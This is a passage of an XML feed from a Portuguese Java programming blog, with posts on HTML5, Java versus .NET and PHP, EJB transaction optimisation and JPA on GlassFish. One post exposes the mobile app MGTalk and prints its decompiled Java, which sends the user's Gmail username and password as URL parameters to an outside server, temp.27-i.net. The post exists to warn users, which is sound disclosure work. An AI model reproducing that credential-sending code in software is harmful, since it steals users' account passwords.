src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-5894485398414811514</id><published>2009-07-06T10:06:00.000-07:00</published><updated>2009-07-06T10:09:23.483-07:00</updated><title type='text'>Construindo vídeos e players de áudio</title><content type='html'>Vejam este vídeo que propõe-se a construir players tanto de vídeo quanto de audio, esse é mais um tópico referente à benefícios do Html 5. Os argumentos são muitos, cabe à cada um analisar a eficiência e força dos mesmos:&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/ZN_r9jxL0-A&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;feature=player_embedded&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowScriptAccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/ZN_r9jxL0-A&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;feature=player_embedded&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" allowScriptAccess="always" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-5894485398414811514?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/5894485398414811514/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=5894485398414811514&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/5894485398414811514'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/5894485398414811514'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2009/07/construindo-videos-e-players-de-audio.html' title='Construindo vídeos e players de áudio'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-5075229025118790400</id><published>2009-07-06T10:02:00.000-07:00</published><updated>2009-07-06T10:04:02.728-07:00</updated><title type='text'>HTML 5 para uma web melhor</title><content type='html'>Recentemente recebi um email de uma newsletter do site PHP Classes com este título. Achei bem interessante o conteúdo e os argumentos debatidos.&lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;The HTML 5 will definitely contribute to a better Web. Despite its specification is still being drafted, several browsers like Firefox 3.5, Internet Explorer 8, Safari 4, Chrome 2 and Opera 10 already implement a significant part of the current HTML 5 specification.&lt;br /&gt;&lt;br /&gt;This article reviews a bit of the history of how we got to HTML 5 and presents an overview of the enhancements that HTML 5 introduces to provide a better Web.&lt;br /&gt;&lt;br /&gt;It also presents a reflection about whether HTML 5 will render useless browser extensions like Flash, Silverlight and Java.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" href="http://www.phpclasses.org/blog/post/98-HTML-5-for-a-better-Web.html"&gt; Leia mais aqui &lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-5075229025118790400?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/5075229025118790400/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=5075229025118790400&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/5075229025118790400'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/5075229025118790400'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2009/07/html-5-para-uma-web-melhor.html' title='HTML 5 para uma web melhor'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-1814937211555552141</id><published>2009-06-04T11:46:00.000-07:00</published><updated>2009-06-04T11:47:02.553-07:00</updated><title type='text'>Java versus .NET por Paulo Krieser</title><content type='html'>Caros leitores, vejam uma amostra do que foi escrito por Paulo Krieser sobre Java e .NET (C#, J#, VB, etc etc etc) :&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Prosseguindo com a sequência de colunas sobre as comparações entre linguagens de programação, neste artigo vamos comparar o Java ao .NET.&lt;br /&gt;&lt;br /&gt;Antes que sigam as críticas, cabe esclarecer que o .NET não é uma linguagem, e sim uma plataforma da Microsoft que permite a utilização de diversas linguagens, como C#, Visual Basic, J# e ASP. Vamos focar então a comparação na construção de aplicações web, utilizando J2EE e o framework ASP NET da Microsoft, que é onde as duas linguagens mais competem.&lt;br /&gt;&lt;br /&gt;Comecemos pela questão das licenças de uso, que influenciam diretamente no TCO (para referência aos fatores sendo comparados, consultar na minha coluna Fatores para Escolha da Linguagem de Programação). Apesar da Sun deter a marca Java, a mesma tornou a linguagem open source, permitindo aos usuários efetuar alterações convenientes. Para a plataforma .NET, existem algumas iniciativas free......&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;LEIA O ARTIGO COMPLETO EM: &lt;a href="http://www.baguete.com.br/colunasDetalhes.php?id=3070"&gt;http://www.baguete.com.br/colunasDetalhes.php?id=3070&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-1814937211555552141?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/1814937211555552141/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=1814937211555552141&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/1814937211555552141'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/1814937211555552141'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2009/06/java-versus-net-por-paulo-krieser.html' title='Java versus .NET por Paulo Krieser'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-8939990677631878238</id><published>2009-05-31T03:43:00.000-07:00</published><updated>2009-05-31T03:46:20.986-07:00</updated><title type='text'>Java versus php por Paulo Krieser</title><content type='html'>Veja esta abordagem abrangente sobre o assunto:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Paulo Krieser, diretor executivo da Krieser IT Solutions, publicou em sua coluna do Baguete, uma interessante abordagem sobre a comparação destas duas tecnologias.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;"Para desenvolver em Java, a curva de aprendizado é um pouco maior, tendo que seguir determinados padrões (como a orientação a objetos).&lt;br /&gt;&lt;br /&gt;O Java constitui umas das linguagens mais utilizadas no mercado, sendo que grande parte do motivo deste sucesso corresponde ao princípio "write once, run everywhere", focando a portabilidade da linguagem. Sendo compilada em bytecodes e interpretada na JVM, a linguagem permite a construção de programas que rodem nas mais diversas plataformas, como celulares, internet, diversos sistemas operacionais e outros, sem a necessidade (teoricamente) de se precisar fazer ajustes no código."&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Link: http://www.baguete.com.br/colunasDetalhes.php?id=3054 &lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;FONTE: &lt;a href="http://www.javafree.org" target="_blank"&gt;JAVAFREE.org&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-8939990677631878238?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/8939990677631878238/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=8939990677631878238&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/8939990677631878238'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/8939990677631878238'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2009/05/java-versus-php-por-paulo-krieser.html' title='Java versus php por Paulo Krieser'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-3062824169918293520</id><published>2009-05-28T13:40:00.000-07:00</published><updated>2009-05-28T13:46:24.626-07:00</updated><title type='text'>Software MGTALK  envia sua senha para uma URL externa</title><content type='html'>Quem quizer baixar um programinha para seu celular chamado MGTalk, para conectar-se ao Gtalk via celular, saibam que seu Usuário  e senha do GMail estarão sendo enviados para uma url no dominio http://temp.27-i.net (que tal? Parece seguro?) bem testei e a url nem existe mais.. mas mesmo assim....&lt;br /&gt;&lt;br /&gt;O fato é que decompilei o .class deles e achei esse código abaixo bem estranho, segue o alerta.&lt;br /&gt;&lt;br /&gt;:D&lt;br /&gt;&lt;br /&gt; /**&lt;br /&gt;     * Generates X-GOOGLE-TOKEN response by communication with http://www.google.com&lt;br /&gt;     * @param userName&lt;br /&gt;     * @param passwd&lt;br /&gt;     * @return&lt;br /&gt;     */&lt;br /&gt;   &lt;span style="font-weight:bold;"&gt; private static String MY_SERVER = "http://temp.27-i.net/servlet/GenerateToken?";&lt;span style="font-style:italic;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;    private String getGoogleTokenViaMyServer(String userName, String passwd) {&lt;br /&gt;        &lt;span style="font-weight:bold;"&gt;String first = "email="+userName+"&amp;pass="+passwd;&lt;span style="font-style:italic;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;        try {&lt;br /&gt;            HttpConnection c = (HttpConnection) Connector.open(&lt;span style="font-style:italic;"&gt;MY_SERVER&lt;span style="font-weight:bold;"&gt;&lt;/span&gt;&lt;/span&gt;+first);&lt;br /&gt;            log.addMessage("Connecting to help server...");&lt;br /&gt;            DataInputStream dis = c.openDataInputStream();&lt;br /&gt;            String str = readLine(dis);&lt;br /&gt;            if(!str.equals("")&amp;&amp;!ended) {&lt;br /&gt;                dis.close();&lt;br /&gt;                c.close();&lt;br /&gt;                return str;&lt;br /&gt;            } else&lt;br /&gt;                throw new Exception("Invalid response");&lt;br /&gt;        }catch(Exception ex) {&lt;br /&gt;            ex.printStackTrace();&lt;br /&gt;            System.out.println("EX: "+ex.toString());&lt;br /&gt;        }&lt;br /&gt;        return "";&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Caso o autor do programa MGTalk tenha alguma justificativa para este trecho de código. Estamos aqui abertos para ouví-lo. Pode comentar. Caso sua intenção seja roubar a senha dos usuários meio inconscientes, você foi pego com a mão na butija.&lt;br /&gt;&lt;br /&gt;Mas gente nãão... o rapaz não guarda a senha da galera em log.. ele só quer a senha pra se autenticar de brincadeirinha.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-3062824169918293520?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/3062824169918293520/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=3062824169918293520&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/3062824169918293520'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/3062824169918293520'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2009/05/software-mgtalk-envia-sua-senha-para.html' title='Software MGTALK  envia sua senha para uma URL externa'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-1338195464350445236</id><published>2009-05-27T12:57:00.000-07:00</published><updated>2009-05-27T14:11:35.957-07:00</updated><title type='text'>O professor Sang Shin ensina java para nós</title><content type='html'>Quem é Sang Shin? Ele é responsável pelo site &lt;span style="font-weight:bold;"&gt;javapassion.com&lt;/span&gt; e é este veículo de informações que venho descrever neste post.&lt;br /&gt;&lt;br /&gt;O site é bem simples e funcional, do jeito que as coisas devem ser, pelo menos na programação, se você é designer e gosta de cores pastéis e efeitos motion degradê então não acesse, irá se decepcionar. A própria página ja diz tudo, o conteúdo tanbém. &lt;br /&gt;&lt;br /&gt;Se você caro leitor acha que as vezes eu acerto e escrevo-lhes boas dicas sobre Java? Então não conhecem o tio Sang. Eu ando lendo seus tutoriais e ensinamentos no site JavaPassion e concluí que tudo aquilo que você passará 1 semana para encontrar em fóruns no google, tutoriais no próprio site da sun, com uma explicação aqui, outra lá você vai encontrar diretamente a "pedra esculpida", é claro, se ler com atenção, &lt;span style="font-weight:bold;"&gt;precisa-se ler o manual&lt;span style="font-style:italic;"&gt;&lt;/span&gt;&lt;/span&gt; como eu incansávelmente repito aqui, mas se você continua aqui é porque ainda não entendeu.&lt;br /&gt;&lt;br /&gt;Falando de JavaEE, vais encontrar muita coisa, e muita coisa bem atualizada, vai ter textos sobre Java Server Faces, EJB 2 e 3, pra isso baixe os PDF's e leia-os, não tenha preguiça, leia mesmo que vais ver que não estou exagerando.&lt;br /&gt;&lt;br /&gt;Bom, essa talvez seja a grande dica, para as pessoas que lêem o manual, você caro programador funcionário público (sem ofensas) e que não lê o manual, não tirará proveito dos ensinamentos do senhor Shing, mas poderá receber o repasse por mim, aqui no meu blog (feito para quem não lê o manual), continuarei honrado com vosso acesso.&lt;br /&gt;&lt;br /&gt;Em resumo, o cara é o Senhor Miagui da TI, como não podia deixar de ser ele é representante e faz parte da Sun Microsystem, mande email pra ele lhe dando os parabens &lt;span style="font-weight:bold;"&gt;sang.shin@sun.com&lt;/span&gt; terá a honra de se comunicar com o cara que dá o caminho da pedra pra quem procura-o.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.javapassion.com/j2ee/" target="_blank"&gt;CLIQUE AQUI E ACESSE A PÁGINA JAVAEE DO CARA&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Ta aí um vídeo do nosso amigo, esse argentino ai tanbém é candidato a discípulo, é o Daniel San da Argentina:&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/nW0FtBKKfoA&amp;hl=pt-br&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/nW0FtBKKfoA&amp;hl=pt-br&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;Abraços&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-1338195464350445236?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/1338195464350445236/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=1338195464350445236&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/1338195464350445236'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/1338195464350445236'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2009/05/o-professor-sang-shin-ensina-java-para.html' title='O professor Sang Shin ensina java para nós'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-6350395249535821494</id><published>2009-05-24T16:03:00.000-07:00</published><updated>2009-05-27T14:13:25.583-07:00</updated><title type='text'>OTIMIZANDO TRANSACTIONS LENTAS COM O PATTERN SERVICELOCATOR DE EJBS</title><content type='html'>Olá, dependendo do caso é preciso que bole-se uma solução para otimizar alguma chamada que possa por ventura estar lenta, gerando um processamento maior que o esperado e conseqüentemente correr-se o risco de receber uma excessão de TimeOut, retornada pelo banco de dados e tratada pelo entityManager. Como sempre recomendo aqui, utilize SessionBeans CMP onde o container controlará sempre a persistência à dados. O rollBack nesse caso será feito automaticamente.&lt;br /&gt;&lt;br /&gt;Tem-se no caso um SessionBean Stateless onde um procedimento realmente demorado é executado.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;public MyBean implements myLocalInterface {&lt;br /&gt;         @PersistenceContext&lt;br /&gt;         EntityManager em;&lt;br /&gt;&lt;br /&gt;         public myMethodWithHardLogic(int myParam) {&lt;br /&gt;                  &lt;br /&gt;&lt;br /&gt;                  // your complex logic here (sua lógica complexa aqui)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;                  // old code (este código antigo passará para a classe listada&lt;br /&gt;                  //abaixo)&lt;br /&gt;                  for.... {&lt;br /&gt;                        MyEntity myEntity = em.find(MyEntity.class, myParam);&lt;br /&gt;                         &lt;br /&gt;                        if (myEntity.myVariable) {&lt;br /&gt;                             myEntity.setMyType(1);&lt;br /&gt;                        } else {&lt;br /&gt;&lt;br /&gt;                            if (myOtherCondition) {&lt;br /&gt;                                myEntity.setMyType(275);&lt;br /&gt;                            } else {&lt;br /&gt;                                myEntity.setMyType(32);&lt;br /&gt;                            }&lt;br /&gt;                             &lt;br /&gt;                        }&lt;br /&gt;&lt;br /&gt;                        em.merge(myEntity);&lt;br /&gt;&lt;br /&gt;                        for (MyArray myArray : em.getMyArray ) {&lt;br /&gt;                        &lt;br /&gt;                            em.persist(em.find((MyClassOfMyArray) myArray.get(0)));&lt;br /&gt;                        }&lt;br /&gt;&lt;br /&gt;                         //... etc etc etc etc etc etc&lt;br /&gt;                  }&lt;br /&gt;         }&lt;br /&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Onde o otimizador de lookups de acordo com o Pattern usado (Facade, Business Delegate). No caso, seu delegator&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;public myClassDelagator {&lt;br /&gt;    &lt;br /&gt;     boolean etc;&lt;br /&gt;&lt;br /&gt;     MyBean myBean;&lt;br /&gt;&lt;br /&gt;     public myClassDelagator() {&lt;br /&gt;             executeMyLookUp();  &lt;br /&gt;     } &lt;br /&gt;&lt;br /&gt;     public myClassDelagator(boolean etc) {&lt;br /&gt;             executeMyLookUp();  &lt;br /&gt;             this.etc = etc;&lt;br /&gt;     } &lt;br /&gt;&lt;br /&gt;     ptivate executeMyLookUp() {&lt;br /&gt;          myBean = ServiceLocator.getInstance().... etc.... lookup("my_JNDI_NAME");  &lt;br /&gt;     }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;     public delegateToInterface() {&lt;br /&gt;           &lt;br /&gt;             // aqui entra a nova lógica, que antes estava dentro do Bean&lt;br /&gt;             if (etc) {&lt;br /&gt;                  myBean.myMethodWithHardLogic(1);&lt;br /&gt;                  myBean.myMethodWithHardLogic(2);&lt;br /&gt;                  myBean.myMethodWithHardLogic(275);&lt;br /&gt;             } else {&lt;br /&gt;                   myBean.myMethodWithHardLogic(7);&lt;br /&gt;                   myBean.myMethodWithHardLogic(12);&lt;br /&gt;                   myBean.myMethodWithHardLogic(32);&lt;br /&gt;             }         &lt;br /&gt; &lt;br /&gt;     }&lt;br /&gt;&lt;br /&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Veja no exemplo acima, se cada chamada  myBean.myMethodWithHardLogic(...) demorava 10 segundos, se multiplicares por 3 teremos uma única transação com 30 segundos (quando maior esse número, mais "atolado" de 1 vez só ficará o Banco de dados), mas se particionares os chamadas em 3 vezes, terás apenas uma transação com 10 segundos sendo executada de cada vez.&lt;br /&gt;&lt;br /&gt;Cabe lembrar que EJB veio para facilitar, mas não faz milagre, você precisa saber o que esta fazendo, a execução de um método dentro de um SessionBean (Estamos falando de EJB CMP) onde a instância do PersistenceContext esta definida se equivale à abertura de uma conexão, commit, rollBack (se for o caso), fechamento da conexão. Não é porque o framework faz tudo automático que ele tem a obrigação de saber quanto tempo deve demorar cada processo, ou quanto tempo sua transação deve durar. É isso que nos difere do framework, a nossa capacidade de pensar e planejar de forma eficiente de modo a não onerar o banco de dados. Antes de culpar o framework, pense se esta utilizando-o da melhor maneira, nada é tão bom ao ponto de servir para todos os casos possíveis.&lt;br /&gt;&lt;br /&gt;Espero poder ter ajudado a quem me dá a honra de seu acesso.&lt;br /&gt;&lt;br /&gt;Lembrando que estes exemplos devem ser usados quando a lógica realmente é muito complexa, em casos simples (apenas um insert, update delete, etc etc etc) deixe tudo à cargo do entityManager, ele se vira, e se vira muito bem.&lt;br /&gt;&lt;br /&gt;Dúvidas é só comentar.&lt;br /&gt;&lt;br /&gt;Um Abraço&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-6350395249535821494?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/6350395249535821494/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=6350395249535821494&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/6350395249535821494'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/6350395249535821494'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2009/05/otimizando-transactions-lentas-com-o.html' title='OTIMIZANDO TRANSACTIONS LENTAS COM O PATTERN SERVICELOCATOR DE EJBS'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-8018871694134204284</id><published>2009-05-23T08:19:00.000-07:00</published><updated>2009-05-23T08:29:38.284-07:00</updated><title type='text'>EJB 3 PERSISTENCE NO GLASSFISH</title><content type='html'>O suporte à JPA no glassfish é muito simples de ser utilizado e muito semelhante à outras arquiteturas. Como qualidades podemos citar o grande suporte de informações que podem ser encontradas no site da Sun MicroSystems.&lt;br /&gt;&lt;br /&gt;Vamos descrever em cima do post abaixo:&lt;br /&gt;&lt;br /&gt;&lt;a href="https://glassfish.dev.java.net/javaee5/persistence/entity-persistence-support.html" target="_blank"&gt;https://glassfish.dev.java.net/javaee5/persistence/entity-persistence-support.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;No exemplo citamos as formas de utolizar TopLink(TM) Essetials, com contribuições da Oracle.&lt;br /&gt;&lt;br /&gt;Gerando um pacote JPA no container JavaEE:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Entity bean classes, like any other POJO classes, can be packaged along with the component classes that use them or separately as a library. They are allowed to be packaged in the following ways:&lt;br /&gt;&lt;br /&gt;   1. In an ejb-jar file along with other EJB classes.&lt;br /&gt;   2. In WEB-INF/classes directory along with other web application classes.&lt;br /&gt;   3. In any of the jar files directly located in WEB-INF/lib directory.&lt;br /&gt;   4. In any of the utility jar files in an ear file including jar files that belong to lib directory in an ear file&lt;br /&gt;   5. In an application client jar file.&lt;br /&gt;&lt;br /&gt;Note: a rar file does not contain entity bean classes.&lt;br /&gt;&lt;br /&gt;Each of the above jar files or directory needs to contain a META-INF/persistence.xml. The schema which defines the structure of this XML document is available here.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Example of a simple persistence.xml file:&lt;br /&gt;&amp;lt;?xml version="1.0" encoding="UTF-8"?&amp;gt;&lt;br /&gt;&amp;lt;persistence xmlns="http://java.sun.com/xml/ns/persistence" version="1.0"&amp;gt;&lt;br /&gt;   &amp;lt;persistence-unit name ="pu1"&amp;gt;&lt;br /&gt;       &amp;lt;jta-data-source&gt;jdbc/DataSource1&amp;lt;/jta-data-source&amp;gt;&lt;br /&gt;    &amp;lt;/persistence-unit&amp;gt;&lt;br /&gt;&amp;lt;/persistence&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Criando o pacote na plataforma Java SE:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;The following code creates EntityManagerFactory, EntityManager, starts a transaction, persists a new Customer, commits the transaction, and then runs a Java Persistence query:&lt;br /&gt;&lt;br /&gt;        // Create EntityManagerFactory for a persistence unit called em1.&lt;br /&gt;        EntityManagerFactory emf = Persistence.createEntityManagerFactory("pu1");&lt;br /&gt;&lt;br /&gt;        // create EntityManager&lt;br /&gt;        EntityManager em = emf.createEntityManager();&lt;br /&gt;&lt;br /&gt;        // Get a transaction instance and start the transaction&lt;br /&gt;        EntityTransaction tx = em.getTransaction();&lt;br /&gt;        tx.begin();&lt;br /&gt;&lt;br /&gt;        // Create a new customer and persist it.&lt;br /&gt;        Customer c = new Customer();&lt;br /&gt;        c.setName("Joe Smith");&lt;br /&gt;        em.persist(c);&lt;br /&gt;&lt;br /&gt;        // Commit the transaction&lt;br /&gt;        tx.commit();&lt;br /&gt;&lt;br /&gt;        // run a Java Persistence query selecting a customer by name&lt;br /&gt;        String queryString = "SELECT c FROM Customer c WHERE c.name = :name";&lt;br /&gt;        Query query = em.createQuery(queryString);&lt;br /&gt;        query.setParameter("name", "Joe Smith");&lt;br /&gt;        List result = query.getResultList();&lt;br /&gt;        System.out.println("Java Persistence query " + queryString + " returns " + result);&lt;br /&gt;&lt;br /&gt;The persistence.xml file should list all persistent classes from the application domain, e.g. entity.Customer, etc. (substitute " &amp;lt;...&amp;gt;" text with your actual values for jdbc properties).&lt;br /&gt;Provider class name can be specified either in the &lt;provider&amp;gt; element as below, or as a value for javax.persistence.provider property included in the Map passed to createEntityManagerFactory().&lt;br /&gt;&lt;br /&gt;&amp;lt;persistence xmlns="http://java.sun.com/xml/ns/persistence" version="1.0"&amp;gt;&lt;br /&gt;    &amp;lt;persistence-unit name="pu1"&gt;&lt;br /&gt;        &amp;lt;provider&gt;oracle.toplink.essentials.ejb.cmp3.EntityManagerFactoryProvider&lt;/provider&amp;gt;&lt;br /&gt;        &amp;lt;!-- All persistence classes must be listed --&amp;gt;&lt;br /&gt;        &amp;lt;class&gt;entity.Customer&amp;lt;/class&gt;&lt;br /&gt;        &amp;lt;class&gt;entity.Order&amp;lt;/class&gt;&lt;br /&gt;        &amp;lt;class&gt;entity.Item&amp;lt;/class&gt;&lt;br /&gt;        &amp;lt;properties&gt;&lt;br /&gt;            &amp;lt;!-- Provider-specific connection properties --&amp;gt;&lt;br /&gt;            &amp;lt;property name="toplink.jdbc.driver" value="&amp;lt;database driver&amp;gt;"/&amp;gt;&lt;br /&gt;            &amp;lt;property name="toplink.jdbc.url" value="&amp;lt;database url&amp;gt;"/&amp;gt;&lt;br /&gt;            &amp;lt;property name="toplink.jdbc.user" value="&amp;lt;user&amp;gt;"/&amp;gt;&lt;br /&gt;            &amp;lt;property name="toplink.jdbc.password" value="&amp;lt;password&amp;gt;"/&amp;gt;&lt;br /&gt;            &amp;lt;!-- Provider-specific settings --&amp;gt;&lt;br /&gt;            &amp;lt;property name="toplink.logging.level" value="INFO"/&amp;gt;&lt;br /&gt;        &amp;lt;/properties&amp;gt;&lt;br /&gt;    &amp;lt;/persistence-unit&amp;gt;&lt;br /&gt;&amp;lt;/persistence&amp;gt;&lt;br /&gt;&lt;br /&gt;Note: If you use build 03/02 or later, you do not need to specify transaction-type="RESOURCE_LOCAL" in Java SE.&lt;br /&gt;&lt;br /&gt;To execute the example, add your classes and META-INF/persistence.xml to the classpath. Then run:&lt;br /&gt;&lt;br /&gt;java -javaagent:${glassfish.home}/lib/toplink-essentials-agent.jar client.Client&lt;br /&gt;&lt;br /&gt;Note: toplink-essentials.jar from {glassfish.home}/lib will be added automatically to the classpath. It contains both, the API and the implementation classes. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Recomenda-se o uso de JPA Tools para auxílio no desenvolvimento das Entidades:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try 